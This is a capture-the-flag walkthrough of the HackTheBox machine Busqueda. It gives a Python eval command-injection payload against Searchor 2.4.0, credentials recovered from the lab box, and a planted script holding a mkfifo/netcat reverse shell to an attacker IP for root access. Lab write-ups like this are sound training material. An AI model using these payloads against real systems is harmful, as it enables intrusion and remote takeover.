Busqueda
Busqueda
Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved
Summary
Walkthrough of the HackTheBox machine Busqueda (Ubuntu, attack surface: Apache httpd 2.4.52 (80), OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) (22)). Foothold via command injection; privilege escalation via sudo. Both flags captured and redacted.
Recon
Port scan
bash read-only • copy allowednmap -p- -sVC 10.10.11.208 --min-rate 1000
| Port | Service | Version | Notes |
|---|---|---|---|
| 22 | ssh | OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | |
| 80 | http | Apache httpd 2.4.52 |
Enumeration highlights
- Detected OS: Ubuntu.
- Open services: http (80), ssh (22).
- Scan used:
nmap -p- -sVC 10.10.11.208 --min-rate 1000.
Foothold
Vulnerability / Misconfiguration
┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sVC 10.10.11.208 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-24 06:54 PDT
Nmap scan report for 10.10.11.208
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.75 seconds
-
Based from the result, we know the host is running a web application in Apache version 2.4.52.
-
Looking at the footer, we know the webapp using Flask and searchor version 2.4.0 (which is outdated) and there are many documentation out there.
-
Telling that this version is vulnerable to command injection.
Documenations
https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-
https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection
- Reading one of the github, it seems the vuln is at:
The blocked
- There's a eval usage, which allows us to inject bash command. But we can't just send -->
__import__('os').system('id'), after tested the feature in normal way, seems we need to add'and wrap the python code withstr().
TESTING NORMAL WAY
OUR PAYLOAD
py read-only • copy allowed') + str(__import__('os').system('id')) #
- What it will look like:
py read-only • copy allowedurl = eval(Engine.<some_engine>.search('') + str(__import__('os').system('id')) #', copy_url={copy}, open_web={open})")
- Long story short, I got the user.txt inside the /home/svc directory.
') + str(__import__('os').system('cd .. && cd .. && cd .. && cd home && cd svc && cat user.txt && ls -a')) #
Proof
User flag: REDACTED
Privilege Escalation
User -> Root/Admin
NOTES:
In short about Gitea:
-> Similar to GitHub or GitLab but more lightweight, easy to install, and consume fewer system resources.
-
Nothing interesting here. Anyway i tried to run
sudo -lto see the sudo permissions for user svc, but resulting to this: -
To solve this, we need to do login ssh using this cred -->
svc:jh1usoih2bkjaspwe92. -
/usr/bin/python3 /opt/scripts/system-checkup.pycan be our interest now.
User only has access to execute.
-
Things getting more interesting here.
-
When running "docker-inspect" it asks us to specify the format and the docker name.
bash read-only • copy allowedsudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
json read-only • copy allowed{ "Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb", "Created": "2023-01-06T17:26:54.457090149Z", "Path": "/usr/bin/entrypoint", "Args": [ "/bin/s6-svscan", "/etc/s6" ], "State": { "Status": "running", "Running": true, "Paused": false, "Restarting": false, "OOMKilled": false, "Dead": false, "Pid": 1835, "ExitCode": 0, "Error": "", "StartedAt": "2023-08-24T13:54:14.842187822Z", "FinishedAt": "2023-04-04T17:03:01.71746837Z" }, "Image": "sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78", "ResolvConfPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/resolv.conf", "HostnamePath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hostname", "HostsPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hosts", "LogPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log", "Name": "/gitea", "RestartCount": 0, "Driver": "overlay2", "Platform": "linux", "MountLabel": "", "ProcessLabel": "", "AppArmorProfile": "docker-default", "ExecIDs": null, "HostConfig": { "Binds": [ "/etc/timezone:/etc/timezone:ro", "/etc/localtime:/etc/localtime:ro", "/root/scripts/docker/gitea:/data:rw" ], "ContainerIDFile": "", "LogConfig": { "Type": "json-file", "Config": {} }, "NetworkMode": "docker_gitea", "PortBindings": { "22/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "222" } ], "3000/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "3000" } ] }, "RestartPolicy": { "Name": "always", "MaximumRetryCount": 0 }, "AutoRemove": false, "VolumeDriver": "", "VolumesFrom": [], "CapAdd": null, "CapDrop": null, "CgroupnsMode": "private", "Dns": [], "DnsOptions": [], "DnsSearch": [], "ExtraHosts": null, "GroupAdd": null, "IpcMode": "private", "Cgroup": "", "Links": null, "OomScoreAdj": 0, "PidMode": "", "Privileged": false, "PublishAllPorts": false, "ReadonlyRootfs": false, "SecurityOpt": null, "UTSMode": "", "UsernsMode": "", "ShmSize": 67108864, "Runtime": "runc", "ConsoleSize": [ 0, 0 ], "Isolation": "", "CpuShares": 0, "Memory": 0, "NanoCpus": 0, "CgroupParent": "", "BlkioWeight": 0, "BlkioWeightDevice": null, "BlkioDeviceReadBps": null, "BlkioDeviceWriteBps": null, "BlkioDeviceReadIOps": null, "BlkioDeviceWriteIOps": null, "CpuPeriod": 0, "CpuQuota": 0, "CpuRealtimePeriod": 0, "CpuRealtimeRuntime": 0, "CpusetCpus": "", "CpusetMems": "", "Devices": null, "DeviceCgroupRules": null, "DeviceRequests": null, "KernelMemory": 0, "KernelMemoryTCP": 0, "MemoryReservation": 0, "MemorySwap": 0, "MemorySwappiness": null, "OomKillDisable": null, "PidsLimit": null, "Ulimits": null, "CpuCount": 0, "CpuPercent": 0, "IOMaximumIOps": 0, "IOMaximumBandwidth": 0, "MaskedPaths": [ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "ReadonlyPaths": [ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ] }, "GraphDriver": { "Data": { "LowerDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34-init/diff:/var/lib/docker/overlay2/bd9193f562680204dc7c46c300e3410c51a1617811a43c97dffc9c3ee6b6b1b8/diff:/var/lib/docker/overlay2/df299917c1b8b211d36ab079a37a210326c9118be26566b07944ceb4342d3716/diff:/var/lib/docker/overlay2/50fb3b75789bf3c16c94f888a75df2691166dd9f503abeadabbc3aa808b84371/diff:/var/lib/docker/overlay2/3668660dd8ccd90774d7f567d0b63cef20cccebe11aaa21253da056a944aab22/diff:/var/lib/docker/overlay2/a5ca101c0f3a1900d4978769b9d791980a73175498cbdd47417ac4305dabb974/diff:/var/lib/docker/overlay2/aac5470669f77f5af7ad93c63b098785f70628cf8b47ac74db039aa3900a1905/diff:/var/lib/docker/overlay2/ef2d799b8fba566ee84a45a0070a1cf197cd9b6be58f38ee2bd7394bb7ca6560/diff:/var/lib/docker/overlay2/d45da5f3ac6633ab90762d7eeac53b0b83debef94e467aebed6171acca3dbc39/diff", "MergedDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/merged", "UpperDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/diff", "WorkDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/work" }, "Name": "overlay2" }, "Mounts": [ { "Type": "bind", "Source": "/root/scripts/docker/gitea", "Destination": "/data", "Mode": "rw", "RW": true, "Propagation": "rprivate" }, { "Type": "bind", "Source": "/etc/localtime", "Destination": "/etc/localtime", "Mode": "ro", "RW": false, "Propagation": "rprivate" }, { "Type": "bind", "Source": "/etc/timezone", "Destination": "/etc/timezone", "Mode": "ro", "RW": false, "Propagation": "rprivate" } ], "Config": { "Hostname": "960873171e2e", "Domainname": "", "User": "", "AttachStdin": false, "AttachStdout": false, "AttachStderr": false, "ExposedPorts": { "22/tcp": {}, "3000/tcp": {} }, "Tty": false, "OpenStdin": false, "StdinOnce": false, "Env": [ "USER_UID=115", "USER_GID=121", "GITEA__database__DB_TYPE=mysql", "GITEA__database__HOST=db:3306", "GITEA__database__NAME=gitea", "GITEA__database__USER=gitea", "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "USER=git", "GITEA_CUSTOM=/data/gitea" ], "Cmd": [ "/bin/s6-svscan", "/etc/s6" ], "Image": "gitea/gitea:latest", "Volumes": { "/data": {}, "/etc/localtime": {}, "/etc/timezone": {} }, "WorkingDir": "", "Entrypoint": [ "/usr/bin/entrypoint" ], "OnBuild": null, "Labels": { "com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515", "com.docker.compose.container-number": "1", "com.docker.compose.oneoff": "False", "com.docker.compose.project": "docker", "com.docker.compose.project.config_files": "docker-compose.yml", "com.docker.compose.project.working_dir": "/root/scripts/docker", "com.docker.compose.service": "server", "com.docker.compose.version": "1.29.2", "maintainer": "maintainers@gitea.io", "org.opencontainers.image.created": "2022-11-24T13:22:00Z", "org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d", "org.opencontainers.image.source": "https://github.com/go-gitea/gitea.git", "org.opencontainers.image.url": "https://github.com/go-gitea/gitea" } }, "NetworkSettings": { "Bridge": "", "SandboxID": "2cd1018afea0707dd5eeddd6b871d15674dc889336ff257c4bba89a7f8accb18", "HairpinMode": false, "LinkLocalIPv6Address": "", "LinkLocalIPv6PrefixLen": 0, "Ports": { "22/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "222" } ], "3000/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "3000" } ] }, "SandboxKey": "/var/run/docker/netns/2cd1018afea0", "SecondaryIPAddresses": null, "SecondaryIPv6Addresses": null, "EndpointID": "", "Gateway": "", "GlobalIPv6Address": "", "GlobalIPv6PrefixLen": 0, "IPAddress": "", "IPPrefixLen": 0, "IPv6Gateway": "", "MacAddress": "", "Networks": { "docker_gitea": { "IPAMConfig": null, "Links": null, "Aliases": [ "server", "960873171e2e" ], "NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227", "EndpointID": "2c29b6b5e18e7b7364e98148b7c15293730b486c9b2ad86b1c027a1a512e31ac", "Gateway": "172.19.0.1", "IPAddress": "172.19.0.3", "IPPrefixLen": 16, "IPv6Gateway": "", "GlobalIPv6Address": "", "GlobalIPv6PrefixLen": 0, "MacAddress": "02:42:ac:13:00:03", "DriverOpts": null } } } }
-
Got cred which allows us to login as admin at gitea -->
administrator:yuiu1hoiu4i5ho1uh -
Finally we can analyze the
system-checkupsource code. -
Found the vuln here:
-
Instead of using an absolute path for executing the full-checkup script, it using a relative path. Knowing this, means system-checkup shall executes full-checkup from the directory where system-checkup is executed.
-
Hence let's traverse to
/opt/scriptsso we can execute it. -
Great! Now let's make a fake full-checkup script which has our payload for privesc.
PRIVESC TEMPLATE PAYLOAD
sh read-only • copy allowedecho -en "#! /bin/bash\nrm /tmp/privesc;mkfifo /tmp/privesc;cat /tmp/privesc|/bin/sh -i 2>&1|nc 10.10.14.25 1337 > /tmp/privesc" > /tmp/full-checkup.sh
Make it executeable
sh read-only • copy allowedchmod +x /tmp/full-checkup.sh
- Set listener on port 1337, then execute system-checkup.
svc@busqueda:/tmp$ ls
full-checkup.sh
snap-private-tmp
systemd-private-17829a12bc8b4ac8a1e618230932cccd-apache2.service-sW8QB7
systemd-private-17829a12bc8b4ac8a1e618230932cccd-ModemManager.service-KjfjOT
systemd-private-17829a12bc8b4ac8a1e618230932cccd-systemd-logind.service-TcOS07
systemd-private-17829a12bc8b4ac8a1e618230932cccd-systemd-resolved.service-GzJRLa
systemd-private-17829a12bc8b4ac8a1e618230932cccd-systemd-timesyncd.service-0iHEWc
vmware-root_713-4290166671
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Root flag: REDACTED
Flags
| Flag | Value |
|---|---|
| user | REDACTED |
| root | REDACTED |
Lessons Learned
- Enumerate everything; version strings map to CVEs.
- Confirm each hypothesis with a test before building the exploit.
- Chain foothold -> privilege escalation mechanically.